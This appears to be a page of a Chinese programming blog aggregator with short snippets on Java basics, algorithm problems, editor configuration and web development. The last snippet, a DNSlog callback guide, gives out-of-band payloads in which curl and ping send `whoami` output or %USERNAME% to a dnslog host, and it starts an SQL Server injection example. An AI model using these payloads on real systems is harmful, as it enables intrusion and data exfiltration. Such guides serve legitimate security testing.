Java

Java基础运算符02(自增自减)

自增自减 ++自增,--自减,为一元运算符,自增自减原理相同,仅以自增为例学习 输出结果: 初识MATH 在数学中幂运算用23表示2的3次方,但是在java中是位运算符,所以如何进行幂运算?引入MATH工具类 输出结果: 本次只是初步认知Math不做深入学习

使用事件API

使用事件 API 使用 Spigot 的最佳功能之一是能够拦截各种各样的事件。本教程将演示如何开始监听和拦截事件以及如何创建你自己的事件。 创建你的第一个监听器 假设已经初始化创建好 Spigot 插件开发的基本代码框架,若没有,可以参考本文章: 用 Gradle Groovy 构建你的 Spigot 插件。 准备监听器 监听器必须实现 org.bukkit.event.Listener 接口。你

9 种方法使用 Amazon CodeWhisperer 快速构建应用

文章作者:Kris Schultz 3D Specialist Solutions Architect, Amazon Web Services 文章译者:郑予彬 亚马逊云科技资深开发者布道师 代码校验:阙铭飞 亚马逊云科技大中华区解决方案研发中心 解决方案架构师 亚马逊云科技开发者社区为开发者们提供全球的开发技术资源。这里有技术文档、开发案例、技术专栏、培训视频、活动与竞赛等。帮助中国

base64图片文件上传OSS,下载OSS图片转换为InputStream,文件转base64,base64转文件工具类

base64图片文件上传OSS,下载OSS图片转换为InputStream,文件转base64,base64转文件工具类 OSSUtils.java FileUtil.java  

Leetcode 160. 链表相交(Intersection of two linked lists lcci)

题目链接 给定两个单链表的头节点headA和headB, 请找出并返回两个单链表相交的起始节点. 如果两个链表没有交点, 返回null. 图示两个链表在节点c1开始相交, 题目数据保证整个链式结构中不存在环. 示例 1: 示例 2: 提示: listA 中节点数目为 m listB 中节点数目为 n 0 <= m, n <= 3 * 104 1 <= Node.val

【剑指Offer】66、机器人的运动范围

【剑指Offer】66、机器人的运动范围 题目描述: 地上有一个m行和n列的方格。一个机器人从坐标0,0的格子开始移动,每一次只能向左,右,上,下四个方向移动一格,但是不能进入行坐标和列坐标的数位之和大于k的格子。 例如,当k为18时,机器人能够进入方格(35,37),因为3+5+3+7 = 18。但是,它不能进入方格(35,38),因为3+5+3+8 = 19。请问该机器人能够达到多少个格子?

【剑指Offer】5、用两个栈实现队列

【剑指Offer】5、用两个栈实现队列 题目描述: 用两个栈来实现一个队列,完成队列的Push和Pop操作。 队列中的元素为int类型。 解题思路: 本题的基本意图是:用两个后入先出的栈来实现先入先出的队列。对于这个问题,我们可以通过一个实例来进行具体分析。不难得出相应的规律:有两个栈stack1和stack2,每次向队列中插入元素可以都压入到stack1中,当需要从队列中删除元素时,我们应该是删

DelayQueue实现指定时间后业务取消或确认

DelayQueue实现指定时间后业务取消或确认 需求背景: 项目中经常会遇到一些业务在某些情况下需要延迟一些时间后进行取消或确认操作,常见的就是订单支付时15分钟内未支付取消订单。具体使用如下: 1.先定义一个执行延迟任务的接口,执行延迟任务的业务相关类必须实现此接口(也就是我们xxxService),具体如下: 你也可以补充自定定义一个接口,提供你需要的功能 2.创建一个通用接受延迟任务的c

【剑指Offer】20、包含min函数的栈

【剑指Offer】20、包含min函数的栈 题目描述: 定义栈的数据结构,请在该类型中实现一个能够得到栈中所含最小元素的min函数(时间复杂度应为O(1))。 解题思路: 解法一:使用两个stack,一个为数据栈,另一个为辅助栈。数据栈用于存储所有数据,每次压栈的最小元素(之前的最小元素和新压入栈中的元素,二者的较小值)保存起来放入辅助栈。   解法二:最小元素每一次都进栈,会有重复,也可以只有当

Java基础运算符03(逻辑运算符与位运算符)

逻辑运算符 逻辑运算符有三种,与(and)或(or)非(取反) 输出结果: 在这里还有一个短路运算,就是当第一步已经判断出结果时,就不再继续向后运算,比如 System.out.println("a && b:"+(a&&b));这里如果a是假后边就不再判断b了,直接返回结果,代码实验如下: 输出结果: 位运算 位运算是二进制里边的运算:二进制里&

第二十节 API(常见API,对象克隆)

课程目标 能够熟练使用Math类中的常见方法 能够熟练使用System类中的常见方法 能够理解Object类的常见方法作用 能够熟练使用Objects类的常见方法 能够熟练使用BigInteger类的常见方法 能够熟练使用BigDecimal类的常见方法 1 Math类 1.1 概述 tips:了解内容 查看API文档,我们可以看到API文档中关于Math类的定义如下: Math类所在包为j

百度WebUploader实现大文件上传

​  我们平时经常做的是上传文件,上传文件夹与上传文件类似,但也有一些不同之处,这次做了上传文件夹就记录下以备后用。 这次项目的需求: 支持大文件的上传和续传,要求续传支持所有浏览器,包括ie6,ie7,ie8,ie9,Chrome,Firefox,360安全浏览器,并且刷新浏览器后仍然能够续传,重启浏览器(关闭浏览器后再打开)仍然能够继续上传,重启电脑后仍然能够上传 支持文件夹的上传,

vscode主题配置

配置 { "cSpell.languageSettings": [ ], "editor.bracketPairColorization.enabled": true, "editor.guides.bracketPairs": "active", "files.autoSave": "afterDelay", "workbench.iconTheme": "vsco

sublime主题配置

{ "ignored_packages": [ "Vintage", ], // "font_face": "Microsoft YaHei Mono", // Consolas "font_face":"jetbrains mono", "font_size": 10, "line_padding_bottom": 3, "line_padding_top":

HTML <span>的用法

<span></span> 的用法主要有以下几种: 文本样式化:可以通过为 <span> 元素添加 CSS 类名或内联样式来对其中的文本进行样式设置,比如改变字体颜色、字体大小、字体样式等。 文本标记化:可以使用 <span> 元素来给文本添加特定的标记,以便后续处理或样式设置。 JavaScript 操作:可以使用 J

copy string as javascript literal copy string as json literal

copy string as javascript literal能自动转义斜杠 消除反斜杠转义符即eval、JSON.parse的效果

java基础01注释

注释 //单行注释 /* 多行注释 */ /** *文档注释(含有其他内容如下) *@author 等等等 */ javaDoc:文档注释 // ctrl + D 复制当前行到下一行(IDEA里面的快捷键)

java基础03数据类型

数据类型 1.强类型语言 要求变量的使用严格符合规定,所有变量都必须先定义后才能使用 2.弱类型语言 ​ 要求变量的使用符合规定,所有变量都必须先定义后才能使用(如VB,JS) 3.JAVA数据类型分为两大类 基本类型(primitive type): 数值类型: 整数类型:byte占1个字节;short占2个字节; ​ int占4个字节范围;long占

java基础02标识符和关键字

标识符与关键字 Java所有的组成部分都需要名字。类名、变量名以及方法名都被称为标识符 标识符必须以大写字母(A-Z)或者小写字母(a-z)、美元符号($)、下划线(_)开头 标识符首字符后可以是大写字母(A-Z)或者小写字母(a-z)、美元符号($)、下划线(_)、数字(1-9)的任何组合 不能用关键字作为变量名或方法名 可以使用中文命名,但一般不建议这么用,也不建议使用拼音

java基础04数据类型扩展

数据类型扩展 整数拓展: ​ **进制在JAVA内的表示方法: ** ​ 二进制0b 八进制0 十六进制0x 十进制(不需要) 浮点数拓展: ​ float和double存在问题: ​ 表现的字长有限 离散 舍入误差 大约 接近但不等于 ​ 银行业务使用BigDecimal(数学工具类)表示 字符类拓展: ​ 强制转换:例如:char Ch

java基础06变量、常量、作用域

变量、常量、作用域 变量 变量,即可以变化的量 java是一种强类型语言,每个变量都必须声明其类型 java变量是程序中最基本的存储单元,其要素包括变量名,变量类型和作用域 注意事项 每个变量都有类型,类型可以使基本类型,也可以是引用类型 变量名必须是合法的标识符 变量声明是一条完整的语句,因此每一个声明都必须以分号结束 变量作用域 类变量 实例变量 局部变量 变量命名规范

java基础05类型转换

类型转换 由于Java是强类型语言,所以要进行有些运算的时候,需要用类型转换 低--------------------------------------------------------->高 byte,short,char ->int ->long ->float ->double 最好从地位向高位转换,从高向低转换可能会内存溢出,也就是超过范围 /*注意

判断程序当前运行环境_Java

首先需要在application.yml中指定你的环境类型 也可以在bootstrap.yml中指定,不过从 Spring Boot 2.4 版本开始,不再支持 bootstrap.yml 和 bootstrap.properties 文件 spring: config: activate: on-profile: dev banner: location:

ElementUI 后台管理模板中使用自定义指令截取字符串长度加省略号

​  在使用vue3 + ElementPlus开发中,尤其在开发cms项目时,新闻标题需要控制字符串长度。重复写截取字符串样式非常麻烦。 在最近开发 Vue + ElementPlus 后台管理框架时,装成一个自定义指令。方便使用。 废话不多说,直接上代码。 1、在项目根目录新建一个文件夹: directives  2、在新建好的文件夹下新建js文件,文件名:ellipsis

如何在视频直播app源码开发中实现开屏广告功能

APP开屏广告就目前来说是一个很常见的广告形式,我们现在打开各个APP几乎都会有开屏广告的身影,开屏广告也成了吸引用户注意力和实现盈利的主要方式,所以在视频直播app源码开发,开屏广告功能就显得尤为重要。 一、视频直播app源码之开屏广告 作用:广告、营销推广 界面组成:广告、跳过(倒计时按钮) 二、视频直播app源码之实现步骤 步骤1:新建 SplashActivity.java 。并在 And

重新开始系统学习

Java Java并发包中Lock的实现原理 Spring spring Bead生命周期 SpringBean和AOP AOP实现原理(动态代理和反射技术) JAVA AOP技术科普分享(上篇)技术科普     SpringCloud篇 【SpringCloud】六大组件及作用 eureka、zookepeer、nacos1 eureka、zooKe

APP接入客服系统方式及优劣势分析

在移动应用的时代,如何将客服系统融入APP成为一项重要的任务。本文将详细探讨三种APP接入客服系统的方式以及各自的优劣势,并特别推荐了唯一客服系统gofly.v1kf.com。 一、对话链接插入 对话链接插入是一种直接且快速的方式,通过将在线客服对话窗口的链接放入APP的咨询按钮中,实现用户与客服的沟通。 优劣势: 优势: 快速简便,不需要技术知识。 无需修改APP本身的代码。 劣势:

07-进程管理

07-进程管理 一、进程(process)的描述 1.1 进程定义 进程:一个具有一定独立功能的程序在一个数据集合上的一次动态执行过程 1.2 进程的组成 一个进程应该包括 程序的代码 程序处理的数据 程序计数器中的值,指示下一条将运行的指令 一组通用寄存器的当前值、堆、栈 一组系统资源(如打开的文件) 总之,进程包含了正在运行的一个程序的所有状态信息 进程与程序的联系 程序是产生进程的基础

DAY 04 ~JAVA 基礎語法 Part 2(類型轉換/變量與常量/運算符/包機制/JAVADOC)

JAVA 基礎語法 Part 2 類型轉換 由於JAVA士強類型語言,所以要進行運算的時候,需要用到類型轉換 運算中,不同類型的數據先轉化為同一類型,然後進行運算 變量與常量 變量 變量就是可以變化的量 JAVA是一種強類型語言,每個變量都必須聲明其類型 JAVA變量是程序中最基本的存儲單元,其要素包括變量名,變量類型和作用域 注意事項: 每個變量都有類型,類型可以是基本類

Dnslog回显使用指南

一、命令执行场景Liunx/Unix/Mac OS系统: curl http://ip.port.xxx.dnslog.org/`whoami`ping `whoami`.ip.port.xxx.dnslog.org Windows系统: ping %USERNAME%.xxx.dnslog.org 二、SQL注入场景SQL Server数据库: DECLARE @host varchar(10

<<  <  784  785  786  787  788  789  790  791  792  793  794  >  >>